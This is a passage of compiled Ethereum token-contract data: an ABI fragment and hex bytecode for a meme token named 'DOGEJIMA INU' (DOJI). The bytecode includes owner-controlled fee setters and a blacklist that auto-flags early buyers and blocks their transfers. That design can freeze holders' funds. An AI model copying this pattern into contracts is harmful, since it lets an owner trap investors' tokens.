l","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600c81526020017f444f47454a494d4120494e550000000000000000000000000000000000000000815250600190816200004a919062000ee3565b506040518060400160405280600481526020017f444f4a49000000000000000000000000000000000000000000000000000000008152506002908162000091919062000ee3565b506009600360006101000a81548160ff021916908360ff16021790555073d8faf1189a624c19d6f880a9bfa360a2dd44ade3600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507307c6c29b6131750b2f7bcabbd1a203184007c4e4600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506001600d556002600e556000600f55600160105560026011556000601255620001c9601054600d5462000b1b60201b620021811790919060201c565b601355620001ea601154600e5462000b1b60201b620021811790919060201c565b6014556200020b601254600f5462000b1b60201b620021811790919060201c565b601555600360009054906101000a900460ff16600a6200022c91906200115a565b620f42406200023c9190620011ab565b6019556200025c601460195462000b7e60201b620021df1790919060201c565b601a556200027c601460195462000b7e60201b620021df1790919060201c565b601b556200029d6101f460195462000b7e60201b620021df1790919060201c565b601c556001601e60156101000a81548160ff0219169083151502179055506001601e60166101000a81548160ff0219169083151502179055506001601e60176101000a81548160ff0219169083151502179055506005601f553480156200030357600080fd5b5060006200031662000bd060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000419573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200043f919062001276565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004a7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004cd919062001276565b6040518363ffffffff1660e01b8152600401620004ec929190620012b9565b6020604051808303816000875af11580156200050c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000532919062001276565b601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601954600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760006200066e62000bd860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000750600f546200073c600e54600d5462000b1b60201b620021811790919060201c565b62000b1b60201b620021811790919060201c565b6016819055506200078f6012546200077b60115460105462000b1b60201b620021811790919060201c565b62000b1b60201b620021811790919060201c565b601781905550620007ce601554620007ba60145460135462000b1b60201b620021811790919060201c565b62000b1b60201b620021811790919060201c565b601881905550600160086000620007ea62000bd860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960006200092362000bd860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506019546005600062000a5d62000bd060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000aab62000bd060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60195460405162000b0c9190620012f7565b60405180910390a350620014db565b600080828462000b2c919062001314565b90508381101562000b74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b6b90620013b0565b60405180910390fd5b8091505092915050565b600062000bc883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000c0160201b60201c565b905092915050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808311829062000c4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c42919062001450565b60405180910390fd5b506000838562000c5c9190620014a3565b9050809150509392505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000ceb57607f821691505b60208210810362000d015762000d0062000ca3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d6b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000d2c565b62000d77868362000d2c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000dc462000dbe62000db88462000d8f565b62000d99565b62000d8f565b9050919050565b6000819050919050565b62000de08362000da3565b62000df862000def8262000dcb565b84845462000d39565b825550505050565b600090565b62000e0f62000e00565b62000e1c81848462000dd5565b505050565b5b8181101562000e445762000e3860008262000e05565b60018101905062000e22565b5050565b601f82111562000e935762000e5d8162000d07565b62000e688462000d1c565b8101602085101562000e78578190505b62000e9062000e878562000d1c565b83018262000e21565b50505b505050565b600082821c905092915050565b600062000eb86000198460080262000e98565b1980831691505092915050565b600062000ed3838362000ea5565b9150826002028217905092915050565b62000eee8262000c69565b67ffffffffffffffff81111562000f0a5762000f0962000c74565b5b62000f16825462000cd2565b62000f2382828562000e48565b600060209050601f83116001811462000f5b576000841562000f46578287015190505b62000f52858262000ec5565b86555062000fc2565b601f19841662000f6b8662000d07565b60005b8281101562000f955784890151825560018201915060208501945060208101905062000f6e565b8683101562000fb5578489015162000fb1601f89168262000ea5565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620010585780860481111562001030576200102f62000fca565b5b6001851615620010405780820291505b8081029050620010508562000ff9565b945062001010565b94509492505050565b60008262001073576001905062001146565b8162001083576000905062001146565b81600181146200109c5760028114620010a757620010dd565b600191505062001146565b60ff841115620010bc57620010bb62000fca565b5b8360020a915084821115620010d657620010d562000fca565b5b5062001146565b5060208310610133831016604e8410600b8410161715620011175782820a90508381111562001111576200111062000fca565b5b62001146565b62001126848484600162001006565b9250905081840481111562001140576200113f62000fca565b5b81810290505b9392505050565b600060ff82169050919050565b6000620011678262000d8f565b915062001174836200114d565b9250620011a37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462001061565b905092915050565b6000620011b88262000d8f565b9150620011c58362000d8f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562001201576200120062000fca565b5b828202905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200123e8262001211565b9050919050565b620012508162001231565b81146200125c57600080fd5b50565b600081519050620012708162001245565b92915050565b6000602082840312156200128f576200128e6200120c565b5b60006200129f848285016200125f565b91505092915050565b620012b38162001231565b82525050565b6000604082019050620012d06000830185620012a8565b620012df6020830184620012a8565b9392505050565b620012f18162000d8f565b82525050565b60006020820190506200130e6000830184620012e6565b92915050565b6000620013218262000d8f565b91506200132e8362000d8f565b925082820190508082111562001349576200134862000fca565b5b92915050565b600082825260208201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001398601b836200134f565b9150620013a58262001360565b602082019050919050565b60006020820190508181036000830152620013cb8162001389565b9050919050565b60005b83811015620013f2578082015181840152602081019050620013d5565b60008484015250505050565b6000601f19601f8301169050919050565b60006200141c8262000c69565b6200142881856200134f565b93506200143a818560208601620013d2565b6200144581620013fe565b840191505092915050565b600060208201905081810360008301526200146c81846200140f565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620014b08262000d8f565b9150620014bd8362000d8f565b925082620014d057620014cf62001474565b5b828204905092915050565b608051614951620014f76000396000610f0101526149516000f3fe60806040526004361061023f5760003560e01c80638e2eee841161012e578063ccb98ffc116100ab578063f1ad4e251161006f578063f1ad4e2514610866578063f1d5f5171461088f578063f2fde38b146108b8578063f84ba65d146108e1578063fbac39511461090a57610246565b8063ccb98ffc14610783578063dd62ed3e146107ac578063ec28438a146107e9578063ef422a1814610812578063f0cd1dac1461083b57610246565b8063a5d69d1f116100f2578063a5d69d1f146106a2578063a9059cbb146106cb578063aa8743f514610708578063b23abda514610731578063c49b9a801461075a57610246565b80638e2eee84146105d1578063914eb66a146105fa57806395d89b4114610611578063a457c2d71461063c578063a4b45c001461067957610246565b8063313ce567116101bc57806370a082311161018057806370a08231146104e85780637d1db4a514610525578063807c2d9c1461055057806382eefb431461057b5780638da5cb5b146105a657610246565b8063313ce5671461041557806339509351146104405780633b97084a1461047d5780634bacf447146104a6578063557ed1ba146104bd57610246565b80632198cf6c116102035780632198cf6c1461033057806323b872dd146103595780632563ae83146103965780632b112e49146103bf5780632ca126f8146103ea57610246565b806306fdde031461024b578063095ea7b31461027657806317deb770146102b357806318160ddd146102dc5780631cbcdfa61461030757610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610947565b60405161026d91906137c3565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613883565b6109d9565b6040516102aa91906138de565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d591906139b4565b6109f7565b005b3480156102e857600080fd5b506102f1610b91565b6040516102fe9190613a58565b60405180910390f35b34801561031357600080fd5b5061032e60048036038101906103299190613a73565b610b9b565b005b34801561033c57600080fd5b5061035760048036038101906103529190613af2565b610c7b565b005b34801561036557600080fd5b50610380600480360381019061037b9190613b32565b610d6b565b60405161038d91906138de565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b89190613b85565b610e45565b005b3480156103cb57600080fd5b506103d4610ef7565b6040516103e19190613a58565b60405180910390f35b3480156103f657600080fd5b506103ff610f3b565b60405161040c9190613a58565b60405180910390f35b34801561042157600080fd5b5061042a610f41565b6040516104379190613bce565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190613883565b610f58565b60405161047491906138de565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190613be9565b61100b565b005b3480156104b257600080fd5b506104bb6110aa565b005b3480156104c957600080fd5b506104d2611154565b6040516104df9190613a58565b60405180910390f35b3480156104f457600080fd5b5061050f600480360381019061050a9190613c16565b61115c565b60405161051c9190613a58565b60405180910390f35b34801561053157600080fd5b5061053a6111a5565b6040516105479190613a58565b60405180910390f35b34801561055c57600080fd5b506105656111ab565b6040516105729190613a58565b60405180910390f35b34801561058757600080fd5b506105906111b1565b60405161059d9190613a58565b60405180910390f35b3480156105b257600080fd5b506105bb6111b7565b6040516105c89190613c52565b60405180910390f35b3480156105dd57600080fd5b506105f860048036038101906105f39190613c6d565b6111e0565b005b34801561060657600080fd5b5061060f611318565b005b34801561061d57600080fd5b5061062661146b565b60405161063391906137c3565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e9190613883565b6114fd565b60405161067091906138de565b60405180910390f35b34801561068557600080fd5b506106a0600480360381019061069b9190613ccd565b6115ca565b005b3480156106ae57600080fd5b506106c960048036038101906106c49190613b85565b6116e5565b005b3480156106d757600080fd5b506106f260048036038101906106ed9190613883565b611797565b6040516106ff91906138de565b60405180910390f35b34801561071457600080fd5b5061072f600480360381019061072a9190613be9565b6117b6565b005b34801561073d57600080fd5b5061075860048036038101906107539190613a73565b611855565b005b34801561076657600080fd5b50610781600480360381019061077c9190613b85565b611935565b005b34801561078f57600080fd5b506107aa60048036038101906107a59190613be9565b611a1e565b005b3480156107b857600080fd5b506107d360048036038101906107ce9190613ccd565b611abd565b6040516107e09190613a58565b60405180910390f35b3480156107f557600080fd5b50610810600480360381019061080b9190613be9565b611b44565b005b34801561081e57600080fd5b5061083960048036038101906108349190613af2565b611be3565b005b34801561084757600080fd5b50610850611cd3565b60405161085d9190613a58565b60405180910390f35b34801561087257600080fd5b5061088d60048036038101906108889190613c6d565b611cd9565b005b34801561089b57600080fd5b506108b660048036038101906108b19190613be9565b611e11565b005b3480156108c457600080fd5b506108df60048036038101906108da9190613c16565b611eb0565b005b3480156108ed57600080fd5b5061090860048036038101906109039190613af2565b612071565b005b34801561091657600080fd5b50610931600480360381019061092c9190613c16565b612161565b60405161093e91906138de565b60405180910390f35b60606001805461095690613d3c565b80601f016020809104026020016040519081016040528092919081815260200182805461098290613d3c565b80156109cf5780601f106109a4576101008083540402835291602001916109cf565b820191906000526020600020905b8154815290600101906020018083116109b257829003601f168201915b5050505050905090565b60006109ed6109e6612229565b8484612231565b6001905092915050565b6101f58484905010610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3590613ddf565b60405180910390fd5b818190508484905014610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90613e71565b60405180910390fd5b6000805b85859050811015610acf57838382818110610aa857610aa7613e91565b5b9050602002013582610aba9190613eef565b91508080610ac790613f23565b915050610a8a565b5080610ada8761115c565b1015610b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1290613fb7565b60405180910390fd5b60005b85859050811015610b8857610b7487878784818110610b4057610b3f613e91565b5b9050602002016020810190610b559190613c16565b868685818110610b6857610b67613e91565b5b905060200201356123fa565b508080610b8090613f23565b915050610b1e565b50505050505050565b6000601954905090565b610ba3612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2790614023565b60405180910390fd5b826010819055508160118190555080601281905550610c70601254610c6260115460105461218190919063ffffffff16565b61218190919063ffffffff16565b601781905550505050565b610c83612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790614023565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000610d788484846125cd565b50610e3a84610d85612229565b610e35856040518060600160405280602881526020016148cf60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610deb612229565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de49092919063ffffffff16565b612231565b600190509392505050565b610e4d612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed190614023565b60405180910390fd5b80601e60176101000a81548160ff02191690831515021790555050565b6000610f36610f257f000000000000000000000000000000000000000000000000000000000000000061115c565b601954612e4890919063ffffffff16565b905090565b601f5481565b6000600360009054906101000a900460ff16905090565b6000611001610f65612229565b84610ffc8560066000610f76612229565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218190919063ffffffff16565b612231565b6001905092915050565b611013612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109790614023565b60405180910390fd5b80601c8190555050565b6110b2612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113690614023565b60405180910390fd5b601e4261114c9190613eef565b601f81905550565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601a5481565b601b5481565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6111e8612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90614023565b60405180910390fd5b60005b838390508110156113125781600b600086868581811061129b5761129a613e91565b5b90506020020160208101906112b09190613c16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508061130b90613f23565b9050611278565b50505050565b611320612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a490614023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60606002805461147a90613d3c565b80601f01602080910402602001604051908101604052809291908181526020018280546114a690613d3c565b80156114f35780601f106114c8576101008083540402835291602001916114f3565b820191906000526020600020905b8154815290600101906020018083116114d657829003601f168201915b5050505050905090565b60006115c061150a612229565b846115bb856040518060600160405280602581526020016148f76025913960066000611534612229565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de49092919063ffffffff16565b612231565b6001905092915050565b6115d2612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461165f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165690614023565b60405180910390fd5b81600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6116ed612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461177a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177190614023565b60405180910390fd5b80601e60166101000a81548160ff02191690831515021790555050565b60006117ab6117a4612229565b84846125cd565b506001905092915050565b6117be612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461184b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184290614023565b60405180910390fd5b8060208190555050565b61185d612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190614023565b60405180910390fd5b82600d8190555081600e8190555080600f8190555061192a600f5461191c600e54600d5461218190919063ffffffff16565b61218190919063ffffffff16565b601681905550505050565b61193d612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c190614023565b60405180910390fd5b80601e60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611a1391906138de565b60405180910390a150565b611a26612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa90614023565b60405180910390fd5b80601f8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611b4c612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd090614023565b60405180910390fd5b80601a8190555050565b611beb612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6f90614023565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60165481565b611ce1612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6590614023565b60405180910390fd5b60005b83839050811015611e0b5781600b6000868685818110611d9457611d93613e91565b5b9050602002016020810190611da99190613c16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080611e0490613f23565b9050611d71565b50505050565b611e19612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9d90614023565b60405180910390fd5b80601b8190555050565b611eb8612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3c90614023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fab906140b5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612079612229565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fd90614023565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008082846121909190613eef565b9050838110156121d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cc90614121565b60405180910390fd5b8091505092915050565b600061222183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e92565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036122a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612297906141b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361230f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230690614245565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516123ed9190613a58565b60405180910390a3505050565b6000612485826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612de49092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251a82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125ba9190613a58565b60405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361263d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612634906142d7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036126ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a390614369565b60405180910390fd5b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561273c575061270c6111b7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156127555750600c60009054906101000a900460ff16155b156127fd576000601f540361277957602054426127729190613eef565b601f819055505b42601f5411156127e0576001600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506127fc565b6001600c60006101000a81548160ff0219169083151502179055505b5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128a15750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6128e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d7906143d5565b60405180910390fd5b601e60149054906101000a900460ff1615612907576129008484846123fa565b9050612ddd565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129ab5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129f657601a548211156129f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081